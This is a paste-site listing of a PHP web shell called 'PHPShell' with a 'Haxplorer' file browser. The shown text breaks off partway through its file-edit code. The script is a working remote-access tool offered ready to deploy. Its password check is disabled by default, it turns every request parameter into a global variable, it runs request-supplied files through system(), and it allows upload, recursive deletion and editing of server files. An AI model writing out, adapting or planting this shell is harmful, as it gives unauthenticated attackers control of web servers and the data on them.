PHP 40
PHP Shell Guest on 7th September 2020 11:36:26 AM
  1. <?php
  2.  
  3. /*
  4. *****************************************************************************************
  5. *                           PHPSHELL.PHP  BY MACKER     August 28th               *
  6. *****************************************************************************************
  7. *                                                                                       *  
  8. *   Welcome to Macker's PHPShell script...                                              *
  9. *   This script will allow you to browse webservers etc...                              *
  10. *   Just copy the file to your directory and open it in your Internet Browser.          *
  11. *                                                                                       *
  12. *   The webserver should support PHP...                                                 *
  13. *                                                                                       *
  14. *   You can modify the script if you want, but please send me a copy to:                *  
  15. *                               [email protected]                                     *
  16. *****************************************************************************************
  17.  
  18. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  19. !!   PLEASE NOTE: You should use this script at own risk, it should do damage to the   !!
  20. !!                Sites or even the server... You are responsible for your own deeds.  !!
  21. !!                The admin of your webserver should always know you are using this    !!
  22. !!                script.                                                              !!
  23. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  24. */
  25.  
  26.  
  27. /*Setting some envirionment variables...*/
  28.  
  29. /* I added this to ensure the script will run correctly...
  30.    Please enter the Script's filename in this variable. */  
  31. $SFileName=$PHP_SELF;
  32.  
  33. /* uncomment the two following variables if you want to use http
  34.    authentication. This will password protect your PHPShell */
  35. //$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
  36. //$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */       
  37.  
  38. $PHPVer=phpversion();
  39. $isGoodver=(intval($PHPVer[0])>=4);
  40. $scriptTitle = "PHPShell";
  41. $scriptident = "$scriptTitle by Macker";
  42.  
  43. $urlAdd = "";
  44. $formAdd = "";
  45.  
  46. function walkArray($array){
  47.   while (list($key, $data) = each($array))
  48.     if (is_array($data)) { walkArray($data); }
  49.     else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
  50. }
  51.  
  52. if (isset($_PUT)) walkArray($_PUT);
  53. if (isset($_GET)) walkArray($_GET);
  54. if (isset($_POST)) walkArray($_POST);
  55.  
  56.  
  57. $pos = strpos($urlAdd, "s=r");
  58. if (strval($pos) != "") {
  59. $urlAdd= substr($urlAdd, 0, $pos);
  60. }
  61.  
  62. $urlAdd .= "&s=r&";
  63.  
  64. if (empty($Pmax))
  65.         $Pmax = 125;   /* Identifies the max amount of Directories and files listed on one page */
  66. if (empty($Pidx))
  67.         $Pidx = 0;
  68.  
  69. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  70. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  71.  
  72. $scriptdate = "August 28th 2003";
  73. $scriptver = "Version 2.6.6dev";
  74. $LOCAL_IMAGE_DIR = "img";
  75. $REMOTE_IMAGE_URL = "img";
  76. $img = array(
  77.                                 "Edit"          => "edit.gif",
  78.                                 "Download"      => "download.gif",
  79.                                 "Upload"        => "upload.gif",
  80.                                 "Delete"        => "delete.gif",
  81.                                 "View"          => "view.gif",
  82.                                 "Rename"        => "rename.gif",
  83.                                 "Move"          => "move.gif",
  84.                                 "Copy"          => "copy.gif",
  85.                                 "Execute"       => "exec.gif"
  86.             );
  87.  
  88. while (list($id, $im)=each($img))
  89.         if (file_exists("$LOCAL_IMAGE_DIR/$im"))
  90.                 $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
  91.         else
  92.                 $img[$id] = "[$id]";
  93.  
  94.  
  95.  
  96.  
  97. /* HTTP AUTHENTICATION */
  98.  
  99.     if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass)  ||  (($logoff==1) && $noauth=="yes")  )   {
  100.             setcookie("noauth","");
  101.             Header( "WWW-authenticate:  Basic realm=\"$scriptTitle $scriptver\"");
  102.             Header( "HTTP/1.0  401  Unauthorized");
  103.             echo "Your username or password is incorrect";
  104.             exit ;
  105.                              
  106.     }
  107.  
  108. function buildUrl($display, $url) {
  109.         global $urlAdd;
  110.         $url = $SFileName . "?$urlAdd$url";
  111.         return "<a href=\"$url\">$display</a>";
  112. }
  113.  
  114. function sp($mp) {
  115.         for ( $i = 0; $i < $mp; $i++ )
  116.                 $ret .= "&nbsp;";
  117.         return $ret;
  118. }
  119.  
  120. function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr);  }
  121.  
  122. function Mydeldir($Fdir) {
  123.         if (is_dir($Fdir)) {
  124.                 $Fh[email protected]opendir($Fdir);
  125.                 while ($Fbuf = readdir($Fh))
  126.                         if (($Fbuf != ".") && ($Fbuf != ".."))
  127.                                 Mydeldir("$Fdir/$Fbuf");
  128.                 @closedir($Fh);
  129.                                 return rmdir($Fdir);
  130.         }       else {
  131.                 return unlink($Fdir);
  132.         }
  133. }
  134.  
  135.  
  136. function arrval ($array) {
  137. list($key, $data) = $array;
  138. return $data;
  139. }
  140.  
  141. function formatsize($insize) {  
  142.         $size = $insize;
  143.         $add = "B";
  144.         if ($size > 1024) {
  145.                 $size = intval(intval($size) / 1.024)/1000;
  146.                 $add = "KB";
  147.         }
  148.         if ($size > 1024) {
  149.                 $size = intval(intval($size) / 1.024)/1000;
  150.                 $add = "MB";
  151.         }
  152.         if ($size > 1024) {
  153.                 $size = intval(intval($size) / 1.024)/1000;
  154.                 $add = "GB";
  155.         }
  156.         if ($size > 1024) {
  157.                 $size = intval(intval($size) / 1.024)/1000;
  158.                 $add = "TB";
  159.         }
  160.         return "$size $add";
  161. }
  162.  
  163. if ($cmd != "downl") {
  164.         ?>
  165.  
  166. <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?>  -->
  167. <HTML>
  168.  <HEAD>
  169.   <STYLE>
  170.   <!--
  171.     A{ text-decoration:none; color:navy; font-size: 12px }
  172.     body { font-size: 12px;
  173.            font-family: arial, helvetica;
  174.             scrollbar-width: 5;
  175.             scrollbar-height: 5;
  176.             scrollbar-face-color: white;
  177.             scrollbar-shadow-color: silver;
  178.             scrollbar-highlight-color: white;
  179.             scrollbar-3dlight-color:silver;
  180.             scrollbar-darkshadow-color: silver;
  181.             scrollbar-track-color: white;
  182.             scrollbar-arrow-color: black;
  183.     }
  184.     Table { font-size: 12px; }
  185.     TR{ font-size: 12px; }
  186.     TD{ font-size: 12px;
  187.         font-family: arial, helvetical;
  188.         BORDER-LEFT: black 0px solid;
  189.         BORDER-RIGHT: black 0px solid;
  190.         BORDER-TOP: black 0px solid;
  191.         BORDER-BOTTOM: black 0px solid;
  192.         COLOR: black;
  193.     }
  194.     .border{       BORDER-LEFT: black 1px solid;
  195.                    BORDER-RIGHT: black 1px solid;
  196.                    BORDER-TOP: black 1px solid;
  197.                    BORDER-BOTTOM: black 1px solid;
  198.                  }
  199.     .none  {       BORDER-LEFT: black 0px solid;
  200.                    BORDER-RIGHT: black 0px solid;
  201.                    BORDER-TOP: black 0px solid;
  202.                    BORDER-BOTTOM: black 0px solid;
  203.                  }
  204.     .inputtext {
  205.                     background-color: #EFEFEF;
  206.                     font-family: arial, helvetica;
  207.                     border: 1px solid #000000;
  208.                     height: 20;
  209.     }
  210.     .lighttd {       background: #F8F8F8;
  211.     }
  212.     .darktd {        background: #E8E8E8;
  213.     }
  214.     input { font-family: arial, helvetica;
  215.     }
  216.     .inputbutton {
  217.                         background-color: silver;
  218.                         border: 1px solid #000000;
  219.                         border-width: 1px;
  220.                         height: 20;
  221.     }
  222.     .inputtextarea {
  223.                     background-color: #EFEFEF;
  224.                     border: 1px solid #000000;
  225.                     scrollbar-width: 5;
  226.                     scrollbar-height: 5;
  227.                     scrollbar-face-color: #EFEFEF;
  228.                     scrollbar-shadow-color: silver;
  229.                     scrollbar-highlight-color: #EFEFEF;
  230.                     scrollbar-3dlight-color:silver;
  231.                     scrollbar-darkshadow-color: silver;
  232.                     scrollbar-track-color: #EFEFEF;
  233.                     scrollbar-arrow-color: black;
  234.     }
  235.     .top { BORDER-TOP: black 1px solid; }
  236.     .textin { BORDER-LEFT: silver 1px solid;
  237.               BORDER-RIGHT: silver 1px solid;
  238.               BORDER-TOP: silver 1px solid;
  239.               BORDER-BOTTOM: silver 1px solid;
  240.               width: 99%; font-size: 12px; font-weight: bold; color: navy;
  241.             }
  242.     .notop { BORDER-TOP: black 0px solid; }
  243.     .bottom { BORDER-BOTTOM: black 1px solid; }
  244.     .nobottom { BORDER-BOTTOM: black 0px solid; }
  245.     .left { BORDER-LEFT: black 1px solid; }
  246.     .noleft { BORDER-LEFT: black 0px solid; }
  247.     .right { BORDER-RIGHT: black 1px solid; }
  248.     .noright { BORDER-RIGHT: black 0px solid; }
  249.     .silver{ BACKGROUND: silver; }
  250.   -->
  251.   </STYLE>
  252.   <TITLE><?php echo $SFileName ?></TITLE>
  253.  </HEAD>
  254.  <body topmargin="0" leftmargin="0">
  255.  <div style="position: absolute; background: white; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
  256.  <table width=100% height="100%" NOWRAP border="0">
  257.   <tr NOWRAP>
  258.    <td width="100%" NOWRAP>
  259.     <table NOWRAP width=100% border="0" cellpadding="0" cellspacing="0">
  260.      <tr>
  261.       <td width="100%" class="silver border">
  262.        <center>
  263.             <strong>
  264.                  <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
  265.             </strong>
  266.        </center>
  267.       </td>
  268.      </tr>
  269.     </table><br>
  270.  
  271.         <?php
  272. }
  273.  
  274. if ( $cmd=="dir" ) {
  275.         $h[email protected]opendir($dir);
  276.         if ($h == false) {
  277.                 echo "<br><font color=\"red\">".sp(3)."\n\n\n\n
  278.                COULD NOT OPEN THIS DIRECTORY!!!<br>".sp(3)."\n
  279.                THE SCRIPT WILL RESULT IN AN ERROR!!!
  280.                <br><br>".sp(3)."\n
  281.                PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
  282.                <br><br></font>\n\n\n\n";
  283.         }
  284.         if (function_exists('realpath')) {
  285.                 $partdir = realpath($dir);
  286.         }
  287.         else {
  288.                 $partdir = $dir;
  289.         }
  290.         if (strlen($partdir) >= 100) {
  291.                 $partdir = substr($partdir, -100);
  292.                 $pos = strpos($partdir, "/");
  293.                 if (strval($pos) != "") {
  294.                         $partdir = "<--   ...".substr($partdir, $pos);
  295.                 }
  296.         $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
  297.         $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  298.         $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  299.         }
  300.     ?>
  301.       <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir">
  302.          <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
  303.           <tr>
  304.            <td width="100%" class="silver border">
  305.             <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center>
  306.            </td>
  307.           </tr>
  308.          </table>
  309.        <br>
  310.          <table width="100%" border="0" cellpadding="0" cellspacing="0">
  311.           <tr>
  312.            <td class="border nobottom noright">
  313.             &nbsp;Browsing:&nbsp;
  314.           </td>
  315.           <td width="100%" class="border nobottom noleft">
  316.             <table width="100%" border="0" cellpadding="1" cellspacing="0">
  317.              <tr>
  318.               <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
  319.               <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td>
  320.              </tr>
  321.             </table>
  322.            
  323.           </td>
  324.          </tr>
  325.         </table>
  326.   <!--    </form>   -->
  327.         <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
  328.          <tr>
  329.           <td width="100%" NOWRAP class="silver border">
  330.            &nbsp;Filename&nbsp;
  331.           </td>
  332.           <td NOWRAP class="silver border noleft">
  333.            &nbsp;Actions&nbsp;(Attempt to perform)&nbsp;
  334.           </td>
  335.           <td NOWRAP class="silver border noleft">
  336.            &nbsp;Size&nbsp;
  337.           </td>
  338.           <td width=1 NOWRAP class="silver border noleft">
  339.            &nbsp;Attributes&nbsp;
  340.           </td>
  341.           <td NOWRAP class="silver border noleft">
  342.            &nbsp;Modification Date&nbsp;
  343.           </td>
  344.          <tr>
  345.     <?php
  346.  
  347.  
  348.         /* <!-- This whole heap of junk is the sorting section... */
  349.  
  350.         $dirn   = array();
  351.         $filen  = array();
  352.         $filesizes      = 0;
  353.         while ($buf = readdir($h)) {
  354.             if (is_dir("$dir/$buf"))
  355.                         $dirn[] = $buf;
  356.                 else
  357.                         $filen[] = $buf;
  358.         }              
  359.                 $dirno  = count($dirn) + 1;
  360.                 $fileno = count($filen) + 1;
  361.  
  362.                 function mycmp($a, $b){
  363.                         if ($a == $b) return 0;
  364.                         return (strtolower($a) < strtolower($b)) ? -1 : 1;
  365.                 }
  366.  
  367.                 if (function_exists("usort")) {
  368.                         usort($dirn, "mycmp");
  369.                         usort($filen, "mycmp");
  370.                 }
  371.                 else {
  372.                         sort ($dirn);
  373.                         sort ($filen);
  374.                 }
  375.         reset ($dirn);
  376.         reset ($filen);
  377.         if (function_exists('array_merge')) {
  378.                 $filelist = array_merge ($dirn, $filen);
  379.         }
  380.         else {
  381.                 $filelist = $dirn + $filen;
  382.         }
  383.  
  384.        
  385.         if ( count($filelist)-1 > $Pmax ) {
  386.                 $from = $Pidx * $Pmax;
  387.                 $to = ($Pidx + 1) * $Pmax-1;
  388.                 if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
  389.                         $to = count($filelist) - 1;
  390.                 if ($to > count($filelist)-1)
  391.                         $to = count($filelist)-1;
  392.                 $Dcontents = array();
  393.                 For ($Fi = $from; $Fi <= $to; $Fi++) {
  394.                         $Dcontents[] = $filelist[$Fi]; 
  395.                 }
  396.  
  397.         }
  398.         else {
  399.                 $Dcontents = $filelist;
  400.         }
  401.        
  402.      $tdcolors = array("lighttd", "darktd");
  403.  
  404.      while (list ($key, $file) = each ($Dcontents)) {
  405.           if (!$tdcolor=arrval(each($tdcolors))) {
  406.             reset($tdcolors);
  407.             $tdcolor = arrval(each($tdcolors));   }
  408.                          
  409.                 if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
  410.                                 /* <!-- Dirname --> */
  411.                         echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n";
  412.                                 /* <!-- Actions --> */
  413.                         echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n";
  414.                                 /* <!-- Rename --> */
  415.                         if ( ($file != ".") && ($file != "..") )
  416.                                 echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
  417.                                 /* <!-- Delete --> */
  418.                         if ( ($file != ".") && ($file != "..") )
  419.                                 echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
  420.                                 /* <!-- End of Actions --> */
  421.                         echo "&nbsp;&nbsp;</center></td>\n";
  422.                                 /* <!-- Size --> */
  423.                         echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n";
  424.                                 /* <!-- Attributes --> */
  425.                         echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
  426.                         echo "<strong>D</strong>";
  427.                         if ( @is_readable("$dir/$file") ) {
  428.                                 echo "<strong>R</strong>";
  429.                         }
  430.                         if (function_exists('is_writeable')) {
  431.                                 if ( @is_writeable("$dir/$file") ) {
  432.                                         echo "<strong>W</stong>";
  433.                                 }
  434.                         }
  435.                         else {
  436.                                 echo "<strong>(W)</stong>";
  437.                         }
  438.                         if ( @is_executable("$dir/$file") ) {
  439.                                 echo "<Strong>X<strong>";
  440.                         }
  441.                         echo "&nbsp;&nbsp;</td>\n";
  442.                                 /* <!-- Date --> */
  443.                         echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
  444.                         echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  445.                         echo "</td>";
  446.                         echo "</tr>\n";
  447.  
  448.                 }
  449.                 else { /* <!-- Then it must be a File... --> */
  450.                                 /* <!-- Filename --> */
  451.                         if ( @is_readable("$dir/$file") )
  452.                                 echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n";
  453.                         else
  454.                                 echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n";
  455.                                                         /* <!-- Actions --> */
  456.                         echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n";
  457.                                 /* <!-- Rename --> */
  458.                         echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
  459.                                 /* <!-- Edit --> */
  460.                         if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  461.                                 echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
  462.                                 /* <!-- Copy --> */
  463.                         echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
  464.                                 /* <!-- Move --> */
  465.                         if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  466.                                         echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
  467.                                 /* <!-- Delete --> */
  468.                         echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
  469.                                 /* <!-- Download --> */
  470.                         echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
  471.                                 /* <!-- Execute --> */
  472.                         if ( @is_executable("$dir/$file") )
  473.                                 echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
  474.                                 /* <!-- End of Actions --> */
  475.                         echo sp(2)."</center></td>\n";
  476.                                 /* <!-- Size --> */
  477.                         echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n";
  478.                         $size = @filesize("$dir/$file");
  479.                         If ($size != false) {
  480.                                 $filesizes += $size;
  481.                                 echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>";
  482.                         }
  483.                         else
  484.                                 echo "&nbsp;&nbsp;<strong>0 B<strong>";
  485.                         echo "&nbsp;&nbsp;</td>\n";
  486.  
  487.                                 /* <!-- Attributes --> */
  488.                         echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
  489.  
  490.                         if ( @is_readable("$dir/$file") )
  491.                                 echo "<strong>R</strong>";
  492.                         if ( @is_writeable("$dir/$file") )
  493.                                 echo "<strong>W</stong>";
  494.                         if ( @is_executable("$dir/$file") )
  495.                                 echo "<Strong>X<strong>";
  496.                         if (function_exists('is_uploaded_file')){
  497.                                 if ( @is_uploaded_file("$dir/$file") )
  498.                                         echo "<Strong>U<strong>";
  499.                         }
  500.                         else {
  501.                                 echo "<Strong>(U)<strong>";
  502.                         }
  503.                         echo "&nbsp;&nbsp;</td>\n";
  504.                                 /* <!-- Date --> */
  505.                         echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
  506.                         echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  507.                         echo "</td>";
  508.                         echo "</tr>\n";
  509.                 }
  510.         }
  511.  
  512.         echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n";
  513.         echo "&nbsp;&nbsp;"[email protected]count ($dirn)."&nbsp;Dir(s),&nbsp;"[email protected]count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n";
  514.         echo "</td><td NOWRAP class=\"silver border noleft\">\n";
  515.         echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n";
  516.        
  517.         function printpagelink($a, $b, $link = ""){
  518.                 if ($link != "")
  519.                         echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>";
  520.                 else
  521.                         echo "<b>| $a - $b |</b>";
  522.         }
  523.        
  524.         if ( count($filelist)-1 > $Pmax ) {
  525.                 echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>";
  526.                 $Fi = 0;
  527.                 while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
  528.                         $from = $Fi*$Pmax;
  529.                         while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
  530.                         $to = ($Fi + 1) * $Pmax - 1;
  531.                         if ($Fi == $Pidx)
  532.                                 $link="";
  533.                         else
  534.                                 $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
  535.                         printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
  536.                         echo "&nbsp;&nbsp;&nbsp;";
  537.                         $Fi++;
  538.                 }
  539.                 $from = $Fi*$Pmax;
  540.                 while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
  541.                 $to = count($filelist)-1;
  542.                 if ($Fi == $Pidx)
  543.                         $link="";
  544.                 else
  545.                         $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
  546.                 printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);           
  547.                
  548.        
  549.                 echo "</center></td></tr></table></td></tr>";
  550.         }
  551.  
  552.  
  553.         echo "</table>\n<br><table NOWRAP>";
  554.  
  555.         if ($isGoodver) {
  556.                 echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n";
  557.         }
  558.         else {
  559.                 echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n";
  560.         }
  561.                 /* <!-- Other Actions --> */
  562.         echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n";
  563.         echo "<td>&nbsp;<b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
  564.                              buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
  565.                              buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n";
  566.         echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n";
  567.         echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n";
  568.         echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n";
  569.         echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n";
  570.         echo "<table NOWRAP>";
  571.         echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n";
  572.         echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n";
  573.         echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n";
  574.         echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n";
  575.         echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n";
  576.         echo "</table></td>";
  577.         echo "</table>";
  578.         echo "<br>";
  579.         @closedir($h);
  580.   }
  581.   elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
  582.         echo system("$file");
  583.  }
  584. elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
  585.         echo "<center><table><tr><td NOWRAP>" ;
  586.         if ($auth == "yes") {
  587.                 if (Mydeldir($file)==false) {
  588.                         echo "Could not remove \"$file\"<br>Permission denied, or directory not empty...";
  589.                 }
  590.                 else {
  591.                         echo "Successfully removed \"$file\"<br>";
  592.                 }
  593.                 echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
  594.         }
  595.         else {
  596.                 echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
  597.        <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  598.        <input type=\"hidden\" name=\"cmd\" value=\"deldir\">
  599.         <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
  600.         <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
  601.         <input type=\"hidden\" name=\"file\" value=\"$file\">
  602.         <input type=\"hidden\" name=\"auth\" value=\"yes\">
  603.         <input type=\"submit\" value=\"Yes\"></form>
  604.        <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  605.         <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  606.         <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  607.         <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
  608.         }
  609.         echo "</td></tr></center>";
  610. }
  611.  elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */       echo "<center><table><tr><td NOWRAP>" ;
  612.         if ($auth == "yes") {
  613.                 if (@unlink($file)==false) {
  614.                         echo "Could not remove \"$file\"<br>";
  615.                 }
  616.                 else {
  617.                         echo "Successfully removed \"$file\"<br>";
  618.                 }
  619.                 echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
  620.         }
  621.         else {
  622.         echo "Are you sure you want to delete \"$file\" ?
  623.         <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  624.         <input type=\"hidden\" name=\"cmd\" value=\"delfile\">
  625.         <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
  626.         <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
  627.         <input type=\"hidden\" name=\"file\" value=\"$file\">
  628.         <input type=\"hidden\" name=\"auth\" value=\"yes\">
  629.  
  630.         <input type=\"submit\" value=\"Yes\"></form>
  631.         <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  632.         <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  633.         <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  634.         <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
  635.         }
  636.         echo "</td></tr></center>";
  637. }
  638. elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
  639.         echo "<center><table><tr><td NOWRAP>";
  640.         $i = 1;
  641.         while (file_exists("$lastdir/newfile$i.txt"))
  642.                 $i++;
  643.         $file = fopen("$lastdir/newfile$i.txt", "w+");
  644.         if ($file == false)
  645.                 echo "Could not create the new file...<br>";
  646.         else
  647.                 echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>";
  648.                 echo "
  649.                         <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  650.                         <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  651.                         <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  652.                         <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
  653.                         </form></center>
  654.                         </td></tr></table></center>             ";
  655.         }
  656. elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
  657.         echo "<center><table><tr><td NOWRAP>" ;
  658.         $i = 1;
  659.         while (is_dir("$lastdir/newdir$i"))
  660.                 $i++;
  661.         $file = mkdir("$lastdir/newdir$i", 0777);
  662.         if ($file == false)
  663.                 echo "Could not create the new directory...<br>";
  664.         else
  665.                 echo "Successfully created: \"$lastdir/newdir$i\"<br>";
  666.         echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\">
  667.                 <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  668.                 <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  669.                 <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
  670.                 </form></center></td></tr></table></center>";
  671. }
  672. elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
  673.         $contents = "";
  674.         $fc = @file( $file );
  675.         while ( @list( $ln, $line ) = each( $fc ) ) {
  676.                 $contents .= htmlentities( $line ) ;
  677.         }
